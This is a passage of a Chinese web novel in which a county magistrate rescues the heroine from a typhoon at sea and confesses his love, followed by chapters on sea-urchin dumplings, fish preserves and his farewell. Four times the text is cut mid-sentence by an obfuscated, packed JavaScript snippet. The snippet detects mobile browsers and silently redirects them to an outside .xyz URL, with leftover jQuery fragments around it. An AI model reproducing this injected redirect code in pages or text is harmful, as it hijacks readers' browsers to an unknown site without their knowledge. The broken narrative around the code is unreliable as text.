从县城到小渔村的路上,距离越近,裴昱臣越能感受到那股强劲的风,路边树木在狂风中剧烈摇晃,枝叶被撕扯得七零八落,有些树枝已经被大风折断了。 快马加鞭下,裴昱臣来到了岸边,狂风卷起的沙土漫天飞扬,吹的人睁不开眼,海浪渐渐推进,村民们慌张地四处奔逃,寻找可以躲避的地方。 滩涂上乱糟糟的,台风掀起的巨浪冲垮了鱼塘、卷走牡蛎苗,村民们已经顾不上这些损失了,只想着赶紧逃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16133577|177545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 命。 裴昱臣一把拉住从他身边跑过的汉子,焦急地问道:“云家人呢?” 披着蓑衣的汉子指了指不远处聚齐在一起的老弱妇孺,“云家两个孩子在那边。”说罢,他又往村子的方向继续跑去,嘴里还喊着:“谁家还有人没出来?” 看样子,村民已经自发组织起了救援。 裴昱臣赶紧冲到云楚河和云楚清所在的位置,看着两个孩子安然无恙,他松了一口气,“楚河,楚清,你们阿姐呢?” 云楚清哭哭啼啼地说道:“呜呜呜,阿姐和人一起出海了,还没回来……” 被一位大娘紧紧拽住的云楚河见到裴昱臣,像是见到了救星,“裴大哥,你来得正好,你快叫婶子放开我,我要去救阿姐!” 裴昱臣刚放下的心又提了起来,那丫头怎么偏巧这个时候出海了,岂不是要出事! “楚河,你才多大点人啊,哪能救得了人?你可别添乱了。”拽着云楚河的婶子不停劝他。 裴昱臣蹲下身,将手放在云楚河的肩膀上,表情严肃地说道:“楚河,你听话,你阿姐我去救,你老老实实待在这里。我不希望到时候你阿姐平安回来了,你却出事了。” 云楚河咬了咬牙:“行,裴大哥我听你的,你可一定要把我阿姐找回来。” “一定。”裴昱臣说完,立马起身离开了,朝着海岸的方向跑去。 “小渔啊,要不你别去了吧,可别老头子没找回来你再出事,那我可真就活不下去了……”泪眼婆娑的余大娘紧紧拉住儿子的手,不舍得放开。 “娘,我不能就在这里干等着,说不定爹需要我的帮助,而且还有云家妹子和旅客们在船上,这可是好几条人命呢。”余小渔往身上挂着用皮囊和葫芦制成的浮具,准备前往海上去救人。 “带我一个。” 余小渔闻声回头,看清来人后十分意外,“裴县令,你怎么来了?” 裴昱臣从地上一堆用绳子串起来的浮具中挑出几个往身上系,“我要去救人。” 余小渔想到县城里传得沸沸扬扬的谣言,顿时了然,县令大人是要去救云楚沅的。 “行,咱们一块去。” 他爹和裴县令未过门的娘子现在生死未卜,余小渔很能理解裴大人此刻的心情。 “你们一定要小心啊,不要逞强。”余大娘眼见县令大人都亲自去救人了,便松口了。 暴风雨肆虐着,巨大的浪头一个接着一个地扑过来,飓风裹挟着海水不停拍打着船只,裴昱臣透过雨幕,隐约看到前方一只小船的身影。 “在那边!”裴昱臣拍了拍余小渔的胳膊,指明了方向,两人一左一右划着船艰难靠近。 待看清楚海面上的船后,两人如坠冰窖。 这条船,翻了。 裴昱臣脸上的血色瞬间褪去,取而代之的是一片灰白,他浑身擅抖着,额头上渗出细密的汗珠,难以相信云楚沅已经遇难。 难道他们两人就这样天人永隔了吗?可他刚决定好要跟随她一起去江南,继续陪着她。 为何老天如此不公!他还未言明心意,心上人便香消玉殒了! 76. 试用期 “裴县令,你快看那边!” 余小渔激动的声音把裴昱臣拉回了神,他定睛一看,翻了的船后方有几个人影正在扑腾。 “村长,快拉住这两个人,他们身上的浮具被冲走了!”云楚沅焦急地喊道。 方才海上来了一个大浪,把他们的船掀翻了,还好云楚沅在出海前千叮咛万嘱咐让旅客们系好浮具,这才让所有人幸免于难。 原主的爹娘就是丧生于大海,云楚沅对渔民们的安全问题很重视。 在得知村民们出海会携带由芦苇、羽毛编制成的环形浮具充当救生圈后,她又在此基础上进行了改良,用葫芦和充气的兽皮囊做成了简易版的救生衣。 在云楚沅不厌其烦地推广下,村民们渐渐习惯了将出海时带上新型救生衣,这么长的时间以来,小渔村确实没再出现过溺亡之人。 “你们两个抓紧我的手!”眼见着有两个呛了水的旅客脱力,村长连忙游过去托住他们的身体。 除了云楚沅和余满生,船上还载了五名男子,船翻了的时候大伙都被冲散了,雪上加霜的是木船侧边的木板被冲烂了,他们只能趴在木板上先将飘在海面上的其他人聚集起来。 “楚沅,我来帮你!” 熟悉的声音响起,接着便传来“噗通”一声巨响,云楚沅转头一看,裴昱臣正奋力向他们所在的位置游来。 “裴大哥,你来救我们了吗!”云楚沅轻呼一声,双眼突然瞪大,脸上难掩惊喜之色。 再看到余小渔划着一条完好无损的小船,云楚沅彻底松了一口气。 她原本还在担忧船破了,他们难道要靠着一块木板飘回岸边不成? 这下好了,他们有救了,想不到台风来袭,还会有人惦记着他们这几个出海的人。 余小渔她能理解,人家是来救亲爹的,倒是裴昱臣的出现出乎了她的意料,这人肯定是一收到消息就赶来了小渔村,想不到他还会冒险出海救人。 “楚沅,把他交给我吧。”靠近的裴昱臣从云楚沅手中接过旅客的一只胳膊,拉着他向余小渔的方向游过去。 把昏迷不醒的男子交给余小渔后,裴昱臣又折返回来继续帮忙。 待将五名旅客都送上了船,村长、裴昱臣和云楚沅先后往船上爬去。 “来,把手给我,我拉你上来。”飘在水里的云楚沅刚摸到船沿,一只骨节分明的大手就出现在她眼皮子底下。 云楚沅没有犹豫,刚想握住裴昱臣的手,一个浪花拍过来,“啪!”云楚沅身上的绳子断开,海水冲走了她的浮具。 “咕噜噜……”毫无防备的云楚沅一下子喝下好几口海水,下沉的瞬间远离了小船。 “楚沅!”裴昱臣瞳孔骤缩,想也没想便纵身一跃,潜入水中朝云楚沅飘走的方向游去。 修长结实的双臂紧紧环抱住她的腰肢,云楚沅下意识伸手攀上裴昱臣的脖颈,紧紧攥住他的衣领,仿佛抓住了救命稻草,她的手指因用力而泛白。 裴昱臣感受到怀中女子的颤抖,一边为她整理贴在脸颊上的湿发,一边轻声安慰道:“莫怕,有我在。”他的声音虽轻,却透着无尽的力量,让人十分安心。 劫后余生的云楚沅大口喘着气:“呼呼呼……裴大哥,多谢你。” 临近木船,裴昱臣双手托住云楚沅的腰,将她缓缓举高,待她抓稳船沿爬上去后,自己也敏捷地翻身上船。 上船后,裴昱臣将自己下水前脱下的外衣取来,将浑身湿透、嘴唇发白、瑟瑟发抖的云楚沅裹住。 裴昱臣蹲下身子,目光关切地凝视着她,柔声说道:“楚沅,可好些了?” 顾不上男女大防,裴昱臣把云楚沅冰凉的手握在掌心轻轻揉搓,想要让她回升体温。 云楚沅渐渐缓过神来,脸上也恢复了几分血色,她扯出了一个笑,嘴唇轻启:“啊,裴大哥,还好有你,要不然我都不知道谁会来救我。” 她这话的意思是除了裴昱臣,她想不到还有谁会为了她顶着台风出海。 虽说云楚沅自穿越以后帮助了不少人,让许多人家有了份体面的工作能够养家糊口,但是能不顾生命地营救她的好像只有眼前这一个人。 云楚沅垂下眼帘,睫毛轻轻颤动,眼睛里蒙上了一层薄薄的水雾,她有点想哭,他们两人非亲非故的,这人却能为她做到这个地步,她都不知道该说什么好。 压抑住涌上心头的酸涩,云楚沅声音哽咽道:“呆子,你为什么对我这么好?” “唉……”裴昱臣长叹了口气,轻轻抬起她的下巴,垂眸望着女子挂着泪珠的睫毛,为她擦了下眼角,无奈开口,“你说呢?” 冰凉的指腹划过娇嫩的肌肤,云楚沅战栗了两下,不自在地避开他的视线,“你不说明白,我不懂。” 即便心里有几分猜测,云楚沅也不能在他没说出来的时候百分百笃定,万一是她的错觉呢? 裴昱臣轻笑一声,双手捧起她的脸,认认真真与她对视,一字一句地说道:“我心悦你,懂了吗?” 时间仿佛在这瞬间停滞了,云楚沅呼吸一滞,愣愣地看着裴昱臣含笑的眉眼,喃喃道:“你……你说什么?” 裴昱臣的眼神中是藏不住的缱绻与温柔,他声音低沉又富有磁性,宛如古筝弹奏出的弦音,“旁人于我皆是过眼云烟,唯有你的出现,如星子坠入眼眸,令我心绪难平。若得与楚沅朝夕相对、形影不离,乃我此生最大的幸事。” 听到这番内心刨白,云楚沅这才确定裴昱臣是在向她表白,她的眼眸瞬间睁大,脑海中一片空白,心脏“砰砰砰”地剧烈跳动,仿佛要冲破胸膛。 “再说一遍,你是不是喜欢我?”还未想好如何回应的云楚沅手足无措,只好一直让事情进程停留在对方表白这步。 裴昱臣丝毫没有不耐烦,藏在心里许久的话吐露了出来,他也没什么好羞涩的了,“让我重复几遍都行,我心悦你,我想娶你为妻。” 感受到男子锁定在她身上炽热的目光,云楚沅慢半拍地红了脸。 不可否认,这样一位外貌出众、才华横溢的优秀男子向她表白,云楚沅的心里有一丝丝窃喜。 但她从来没有和男人谈情说爱过,云楚沅有些分不清此刻的她是感动还是心动。 不愿意给对方模棱两可的答案,云 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16135540|177545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 楚沅只好坦诚地表达了自己真实的想法,“裴大哥,我暂时还弄不清自己的心意,可能我对你的喜欢不及你对我的半分。但我想说,我们可以试一试,你愿意吗?” 见裴昱臣的眼神有些茫然,云楚沅咬了咬唇,和古人只谈恋爱不结婚,是不是耍流氓啊,可她真的不想轻易托付终身。 “裴大哥,我的意思是我们可以先以未婚男女的身份相处一段时间,倘若不合适,便早些分开,免得日后成为一对怨偶。”云楚沅说话的声音越来越小,她怕小书生唾弃她这种“只撩不娶”的想法。 裴昱臣微微一怔,倏然展颜,“好,都依你。” 这下轮到云楚沅发怔了,“裴大哥,你就这么同意了?你不恼我吗?” “你是我心仪的女子,我为何要恼你?”裴昱臣笑着说道,“能让你无法完全将自己交付于我,那说明我做的还不够好,我愿意给你多些时日来了解我。” 云楚沅的眼睛一下子亮了起来:“好,一言为定,那就拿三个月做试用期,我们彼此了解之后,要是心意不变,我愿意与你共度余生。” 这样满心满眼都是她、还非常贴心懂事的男子,很难不让人心动啊,此刻的云楚沅有些体会到黎娘子的愉悦了,她也想要一个贤内助。 “咳咳咳……” 那名昏迷的旅客醒了过来,打断了云楚沅和裴昱臣的卿卿我我,两人这才反应过来,他们的身边还有其他人呢。 云楚沅偏过头去,对上几双炯炯有神的眼睛,顿时头皮发麻,她快要尴尬死了。 裴昱臣俊脸通红,不好意思地低下了头,与心上人互通心意之时被人围观,真是令人难为情。 村长笑呵呵地说道:“没事没事,你们继续吧,天已经放晴了,没什么危险了。” 云楚沅这才注意到,不知何时,狂风骤雨早然停止,乌云全部散去,而他们的小船快要靠岸了。 “回来了!他们回来了!”岸边的人高喊一声。 “谢天谢地,老余和我儿都平安无事!”余大娘双手合十拜了拜。 “阿姐,阿姐,你没事吧!” 云楚沅看着自家小弟和小妹红着眼的样子,就知道让他们两个担惊受怕了,她急急忙忙从船上跑下来,抱住两个孩子,“阿姐没事,别哭了。” “哎哟,楚沅啊,你没事就好,我们刚想组织人手去寻你们呢。” “可不是,大家都担心的不行。” 其他村民都围了上来,左一句楚沅右一句楚沅,将跟在后面的裴昱臣一下子挤出了人堆。 等云楚沅和众人说完话后,才想起她那位新鲜出炉的男友,转过身去,发现他正安安静静地站在不远处望着她。 云楚沅小跑过去扯住他的衣袖,“走啊,别傻站着啦,到我家去把这身湿衣服换下来吧,可别感染了风寒。” 裴昱臣没有反抗,顺着她的力道向前走去,他突然出声:“我能否唤你阿沅?” 云楚沅了然,这人想要和她换个亲昵的称呼,“好啊,那我以后就叫你阿昱。” 裴昱臣微微一笑,旁人都叫她楚沅,显现不出他与她更亲近。 77. 海胆煎饺 出了这么一档子事,小渔村的海钓项目暂时停止了,虽然游客们都很善解人意,不会把意外归结到人身上,可云楚沅作为发起人,多少还是有些心里不安,便想着要补偿旅客们。 “各位,突发状况导致你们身临险境,让大伙受惊了,实在抱歉。这次游玩不顺利,我也很遗憾,作为小渔村的村民,我会将云记海味坊旗下的所有产品给你们每人送一份,以表歉意。” 为了安抚旅客,云楚沅送了他们一份海鲜特产大礼包,云记的酱料、零食、干货全部包含在内,加起来分量不轻而且价钱不便宜。 “哎呀,那多不好意思呀。” “云姑娘客气了,这次算我倒霉,碰上了飓风。” “就是,老天爷说变脸就变脸,也不能怨你们头上,我肯定不会说你们小渔村的坏话的。” 虽然旅客们嘴上这么说,可他们的手还是很诚实的,一点都不带犹豫地就将大礼包接了过去,脸色也好看了不少。 云楚沅和村长再次向众人致歉,感谢他们的谅解,并承诺日后他们再来小渔村游玩,不收银子。 经历了这么糟心的事,这几名游客可能不会再莅临小渔村,但他们的表面功夫肯定要做到位,不能让小渔村在旅客们心中留下负面印象。 除此之外,云楚沅以小渔村云记加工坊的名义向附近的村子和县城捐赠物资,让小渔村的好名声传播了出去。 虽然台风只刮了半天,可对小渔村的影响还是不小的,滩涂上的养殖区被毁了个七七八八,不少鱼虾都被卷进了海里。 养殖户们加固了养殖设施,却也只能亡羊补牢,已经造成的损失很难再挽回。 “唉……”云楚沅站在海边长叹了口气,马上要去江南了,可原材料丢了不少,海味坊的产出势必要下降。 这几天云楚沅为了这事愁的不行,在临海县大肆收购海鲜忙得焦头烂额。 她少赚点银子没什么,可签了那么多订单要是交不上货可就麻烦了,失信于人,以后谁还和她做生意? 小渔村村民知晓了云楚沅的窘境纷纷出手相助,将自家仅剩的鱼虾蟹贝都拿出来低价卖给了她,云楚沅对他们很是感激。 有心善的人自然也有心怀恶意的人,就比如刘大娘,她坐地起价开口要两倍的价钱,云楚沅翻了个白眼没搭理她。 刘大娘因为单方面记恨云家人,所以云楚沅刚开始搞养殖时,她就唱衰,到处劝别人不要上当。 结果养殖户们赚了钱后,她又眼红了,找村长承包海域却只分到了一小块。 眼瞧着同村人海鲜大丰收,刘大娘嫉妒得晚上睡不着觉,上蹿下跳闹着要重新分配,村民们全在背后笑话她活该。 正因如此,台风过后就数刘家损失小,刘大娘出门溜达,看见村民们垂头丧气的模样,便反过来嘲笑他们竹篮打水一场空。 “哟,这不是咱们小渔村的大恩人云楚沅吗?”身后传来一道冷嘲热讽的声音,云楚沅一回头就对上了刘大娘那张眼歪嘴斜的大脸。 “妈呀,哪来的胖头鱼,丑到我了!”云楚沅表情夸张,后退两步,用手轻抚着胸口,像是被吓得不轻。 刘大娘老脸憋的通红,指着云楚沅的鼻子骂道:“死丫头,你也就能在我头上撒野了,村子里其他人八成都恨死你了,他们投进养殖区的银子都打水漂了!” 云楚沅莫名其妙地说道:“刘大娘,你也不打听打听村民们跟着我赚了多少银子,这回亏得钱不过是九牛一毛,他们怎么会怨恨我呢?” 刘大娘愣住了,她平日里只顾着自己的一亩三分地,鱼苗虾苗也是自己倒腾出来的,遇到问题也从来不问云楚沅,所以他们家的养殖区赚得没有特别多。 “哎呀,大娘,你不会是忙活了这几个月,只把本钱赚回来了吧?你早点来求求我,我说不定就把养殖技巧教给你了,省得你沾沾自喜,还以为自己很聪明。” 被云楚沅阴阳怪气了一通,刘大娘气得浑身发抖,再一想到自己错过了大把银子,她的头更痛了。 云楚沅心中冷笑,哼,小样,我还治不了你了? 恼羞成怒的刘大娘四处看了看,从礁石缝里提溜起了一个不明物体朝云楚沅扔了过去。 云楚沅下意识躲了过去,低头一看,竟是只长满刺的海胆,她的脸瞬间阴了下来,差一点她就要被这个毒妇毁容了,“刘大娘,你不仁别怪我不义,以后你们刘家人休想占我云记一点便宜。” 这话一出,刘大娘有些慌神,她娘家侄子还想去云记做工呢,她得罪了云楚沅,此事怕是不成了。 “谁……谁稀罕占你便宜。”刘大娘嘟囔了一句,瞪了云楚沅一眼,骂骂咧咧地想要离开,路过云楚沅的身边时,刘大娘故意撞了她一下,不料没看见脚下的海胆,一脚踩了上去。 “哎哟!”刘大娘抱着脚跳了起来,她这属实是搬起石头砸自己的脚了,“这该死的刺球,啥用没有就会碍事!” 云楚沅忍俊不禁,这就叫报应啊。 刘大娘看见云楚沅脸上的笑,气呼呼地说道:“你那么能耐,怎么不见你用这玩意做吃食啊?”说罢,她就转身离开了。 说者无心听者有意,云楚沅脸上的表情一下子顿住了,若有所思地看着地上的海胆。 —— “咦,云丫头,你捡这么些刺球做什么用?” 云楚沅回家的路上碰到了余大娘,她笑着回道:“我想用这些东西做点新吃食。” 余大娘欲言又止:“楚……楚沅啊,你要是顶不住了就和大伙儿说,我们一起帮你想办法。” 云楚沅哭笑不得:“大娘,你误会了,我是真想出法子了,不是自暴自弃。” 余大娘看着一个个黑不溜秋的刺球,还是有些不相信,皱着眉说道:“楚沅啊,有人曾经好奇刺球里面的东西,弄开尝了尝,一股子苦味和腥臭味,难吃的很,而且还腹泻,之后就再也没人碰这东西了。” 云楚沅猜那人吃的是不新鲜、不干净的海胆,甚至可能是有毒的,但这个问题难不倒她,她能辨认出马粪海胆、紫海胆等无毒的可食用品种。 台风将海里的海胆带到了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16141866|177545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 岸上,云楚沅产生了一个想法,她可以推出继蟹黄酱之后的第二款高档酱料——海胆酱。 “阿姐,你弄这么些刺球回来干什么?”云楚河用木棍戳了戳桶里的海胆。 “做吃食。”云楚沅用剪子从海胆中间的小口将其剪开,再用镊子去除掉里面黑色的内脏,而后用水将卵黄冲洗干净。 云楚河一点儿也没有表现出质疑,他早就明白了一个道理,阿姐说什么那就是什么,“那我去海边多捡一些回来!”说完,他就扔掉手里的小棍子,出门找小伙伴们一起去捡海胆。 云楚沅将分离出来的新鲜海胆放进碗里,加入四分之一的盐和一点白酒搅拌成浓稠顺滑的浆糊状,然后装罐密封,放到阴凉通风处发酵。 剩下的海胆,云楚沅准备用它们做海胆煎饺。 面团揉好后准备馅料,猪肉剁成细碎的肉末,加入葱、姜、蒜去腥,再加入盐、酱油调味,肉馅顺着同一个方向搅拌上劲,使调料的味道充分融进去。 取一张面皮放在手中,云楚沅用勺子舀上调好的肉馅,然后在中间铺上海胆卵黄,接着将面皮对折,从两边向中间沿着边捏紧。 锅中倒入少许油,油热后将它们一个个放入锅中,伴随着“滋滋”的声响,饺子的底部渐渐变成金黄色,这个时候,再沿着锅边淋入一小碗淀粉水,盖上锅盖焖一会。 水分收干后,煎饺也熟透了,饺子底部形成了一层酥脆的冰花状硬壳,云楚沅将连在一起的海鲜煎饺盛出装盘。 “做了什么吃食,好香啊。” 云楚沅看见站在灶房门口的男子后,眼睛亮了起来,“阿昱,你怎么过来了?” 裴昱臣从她手里接过热气腾腾的煎饺,和她一起往院子里走去,“附近村子的救援已经完成了,受伤的百姓都送去医治了,后续房屋修补的事梁捕头会负责,我安抚好村民就回来了。” 云楚沅点点头,没人死亡已经是不幸中的万幸,钱财、房屋这些身外之物哪里有性命重要。 “我做了海胆煎饺,等楚河和楚清回来,咱们就开饭。”桌子上已经摆了几道小菜,两大盘煎饺被放在了中间空出来的位置。 “阿姐,我们回来了!” 院门被推开,云楚河提着两只桶冲了进来,里面装了满满的海胆。 “辛苦你们了,快去洗手。”云楚沅接过桶,又摸了摸后进来的云楚清的小脸,催促着他们赶快来用饭。 “咦,裴大哥也来我们家一起吃饭吗?”云楚河一边用水瓢装水,一边和裴昱臣打了声招呼。 帮着小妹挽袖子的云楚沅不经意地说道:“以后他会经常和我们一起用饭的,指不定哪天你就得改口叫他姐夫了。” “咚”的一声,水瓢掉进了盆里,溅起不少水花,云楚河看看淡定的自家阿姐,又看看脸红的裴大哥,觉得自己今天可能没睡醒。 直到在桌子旁坐下,云楚河才回过神来,他眼神迷茫地问道:“阿……阿姐你说的是真的还是假的?” “当然是真的。”云楚沅给他们三个一人夹了一只煎饺。 78. 豆豉鱼罐头 “怎么,你觉得我们两个不般配吗?”云楚沅语气淡淡的,斜斜看了云楚河一眼,她可还记得之前这臭小子说裴昱臣是从京城来的,不可能看上她。 云楚河放下递到嘴边的煎饺,偷瞄了一眼云楚沅,挤出一个讪讪的笑,抖机灵道:“欸,我怎么不记得有这事?阿姐你美若天仙、秀外慧中,这天底下就没有你配不上的男子。” 裴大哥放着京城的荣华富贵不享受,跑来这小县城做县令,想来不是那种爱慕虚荣之人。那他对京中闺秀不理不睬,反而对他长姐青睐有加也说得通了。 云楚河头一回在饭桌上没急着用饭,他双手握住筷子抵在自己的下巴上,紧紧盯着坐在对面的裴昱辰,认真打量起这位未来姐夫。 先前因为钦佩裴大哥,云楚河才会觉得他百般好,但这人要是真的想娶他阿姐,云楚河看他的眼神不免带上了几分挑剔。 可左看右看、上看下看,裴县令仪表堂堂、饱读诗书、温和有礼……,没发现有什么不好的地方,云楚河不得不承认,这男子勉强有资格娶他的长姐。 裴昱臣感受到云楚河直勾勾的视线,对着他温和一笑,“楚河,你不必担心,我会对你长姐好的。” 云楚河眼珠子转了转,大声嚷嚷:“裴大哥,我阿姐眼里容不下沙子,你日后可不准纳妾。” 云楚沅动作一顿,看向裴昱臣,“对哦,丑话说在前头,你要是敢给我戴绿帽子,我可是会休了你的。还有,我就算和你成了亲,那也是要继续忙事业的,你休想我在家里相夫教子。” 经过小弟的提醒,云楚沅才想起要把自己无法接受的事情提前告诉另一半,省得这男人踩到了她的雷点还不自知。 裴昱臣面不改色地开口:“楚沅,我会谨记的,以后你叫我往东我绝不往西。”然后,他又深情款款地与云楚沅对视,“我只想与你白头偕老,并没有纳妾的打算。” “咳咳!”云楚沅不自在地移开视线,正好对上小妹炯炯有神的大眼睛,“别看热闹了,赶紧吃饭!” 云楚清眼睛弯了弯:“阿姐,我以后也想像你一样,找个对我言听计从的夫君。” “嘿,你个小丫头片子,才这么点大就想着找夫君的事,你羞不羞啊。”云楚沅一边笑着,一边白了裴昱臣一眼,“都怪你,在小孩子面前瞎说什么呢!别教坏了他们!” 云楚清缩了缩脑袋,夹起碗里的海胆煎饺,咬开酥脆的外皮,发出“咔嚓”一声轻响,鲜嫩多汁的肉馅伴随着海胆那股独特的鲜甜瞬间在嘴里面爆开。 细嚼慢咽品尝过美味的煎饺后,云楚清突然出声:“要是我将来的夫君会做吃食,那就更好了。” 听着小妹饱含期待的话,云楚沅忍不住笑出声,“噗嗤,那你以后找个厨子吧,正好咱们家开食肆,我会帮你留意好苗子的。” 云楚清动了动嘴唇,想说她要找一个长得好看、会读书识字、做菜还好吃的相公,但她怕阿姐骂她异想天开,便没有说出口,毕竟阿姐挑中的男子也只满足前两点。 —— “东家,库存里的货我已经清点过了,勉强能交付订单,但交货后咱们的海味坊就没东西上架了。”愁眉苦脸的李大强向云楚沅汇报情况。 东家马上要去江南大展宏图,可现在加工坊因为缺少原材料已经停止生产,后续有一段时间他们云记的货架会空空如也。 云楚沅指了指停在云记海味坊门外的驴车,脸上不见丝毫愁绪,“李掌柜,我和村民们运了些小鱼进城,准备让加工坊做鱼罐头,你随我一起去瞧瞧吧。” 沙丁鱼、小带鱼、小黄花鱼等小型鱼所在的养殖区比较靠近村子,所以丢的不多,被冲到岸边的也被及时捡回来了。 但小鱼们经过台风肆虐,多少有点萎靡,必须赶紧把它们做成成品,省得死掉了又是一大笔损失。 “小渔哥,你去把师傅们都喊过来,我教他们做新的吃食。李掌柜,你带着伙计们把车上的货卸下来拿去清洗。” 云楚沅一推开加工坊的院门便雷厉风行地开始安排工作,时间紧任务重,云记正处于上升期,万不能出现断货的情况。 “咱们先推出三款即食鱼罐头,五香带鱼罐头、香辣黄花鱼罐头、豆豉沙丁鱼罐头,这是香、辣、咸三种不同口味的罐头。” 云楚沅往洗净的一大盆沙丁鱼中加入盐、黄酒、姜片和葱段,撸起袖子用手把它们抓拌均匀,使每一条鱼都能充分吸收调料的香味。 “东家,这是你点名要的豆豉。”小伙计气喘吁吁地提着一大袋东西跑了进来,他特意去隔了两条街的小巷子里找一位阿婆买来的。 “陈阿婆家的豆豉品质很好,我已经和她签订了契约,长期买她做的豆豉。”云楚沅用一个小碗盛出豆豉给师傅们看,豆豉乌黑发亮、颗颗饱满,散发着浓郁的豆香。 “东家的眼光我们自然信任,你说好那肯定好。”一位大师傅用手捻了颗豆子尝了尝,咸香浓郁、豉香醇厚,确实不错。 云楚沅和师傅们一起用菜刀将豆豉剁碎,然后在锅中加入少量的油,用小火慢慢地煸炒豆豉。 待豆豉炒出香味后,云楚沅便将腌好的沙丁鱼全部放入锅中,按比例加入酱油、糖和清水,盖上锅盖小火慢炖,锅中传来“咕噜咕噜”的声音。 “这豆豉本来就有咸味,所以不用再继续加盐了,要不然做出来的鱼就没法入口了。”云楚沅叮嘱着认真记录的师傅们,不停跟他们说着做鱼罐头的注意事项。 时辰差不多了,云楚沅手里垫着湿布子掀开锅盖,一股热气扑面而来,浓郁的香味飘了满院,锅中的沙丁鱼已经变得色泽红亮,汤汁也十分浓稠。 云楚沅给院子里的所有人都盛了一碗豆豉鱼,让他们品尝。 师傅们用筷子夹起一块鱼肉送入口中,细细品味,鲜嫩的鱼肉搭配上咸香的豆豉,不由让人想来上一碗米饭。 想什么来什么,云楚沅早就吩咐小伙计去煮上一锅白饭,一院子的人吃得头也不抬,只能听见“啪啪啪”筷子撞碗的声音。 “嗝!”李大强摸着滚圆的肚子,露出了一个满足的笑容,“东家,这鱼罐头太下饭了,绝对好卖。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16146228|177545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>接着,云楚沅又为师傅们展示了另外两款鱼罐头的做法。 瞧众人都吃饱了,云楚沅继续安排接下来的事,伙计们将煮好的豆豉沙丁鱼连同汤汁一起装入事先用烈酒擦拭过的陶罐中,确保每一块鱼肉都能被汤汁浸泡。 “东家你放心吧,我们封罐的技术很好,只要保存得当,这鱼罐头十天半月不会坏的。” 小伙计在鱼肉上面铺了一小层猪油,这样做能够隔绝空气,然后在陶罐盖上盖子后用泥封口。 云楚沅有时候很佩服古人的智慧,哪怕不清楚原理,他们也熟练掌握了腌制、保存等技术,只能说生活的经验能教会人很多东西。 翌日,县衙门外,进进出出的小厮们正往马车上搬运行李,不远处聚集了许多百姓。 “唉,裴县令就要离任了,我真是舍不得他啊。” “我也是,咱们临海县的日子刚好起来,就要换一个新县令,还不知道以后的日子会怎样。” “听说裴县令举荐了陈县丞做新县令,这算是件好事了。” “呜呜呜,县令大人要升迁了还想着我们,他可真是个好官!” 坐在马车上的云楚沅听着外面传来的喧哗声,看了一眼对面闭目养神的裴昱臣。 “阿昱,咱们要离开临海县了,你不去和百姓们道个别吗?” 裴昱臣缓缓睁开眼,眼神闪过一丝复杂,犹豫着开口:“还是算了吧,我只是临海县的过客,何必为百姓们徒增伤感?” 云楚沅笑眯眯地说道:“就算是过客,你也是临海县百姓最刻骨铭心的那一位,我到现在都还记得你初到临海县斩杀土匪的那一幕,你在高台上的豪言想必大家都难以忘记,你该为这段当县官的日子收个好尾。” 裴昱臣搓了搓手指,轻轻点了点头,“你说得对,纵使日后再难相见,我也会永远记得临海县的百姓,是该好好与他们告个别。”说罢,他掀开帘子走下了马车。 “快看,裴县令下来了!”人群中传来一声惊呼,百姓们瞬间安静下来,注视着县令大人的一举一动。 裴昱臣看着一双双或是热切、或是期盼、或是悲伤的眼睛,喉咙有些堵得慌。 “感谢诸位前来送行,裴某即将奔赴江南,心中颇为不舍。初至临海,土匪横行,民不聊生,今观父老乡亲们家境渐丰、衣食无忧,裴某心甚慰。他日鸿雁南归,必是在下于异乡遥祝各位安好!”言罢,裴县令躬身长揖。 百姓们哭声骤起,一位老妪颤巍巍走过来捧上粗布包裹的大饼,“愿君一路顺风,前程似锦,诸事顺遂,岁岁平安。” 裴昱臣双手接过,郑重道:“多谢阿婆。” 一名孩童小跑过来扯住他的官袍下摆,递给他一个小木雕,“裴县令,这是我爹爹教我刻的,是你的模样。” 裴昱臣低头看向掌心里五官模糊不清的小木人,失笑道:“雕刻得不错,你有心了。” 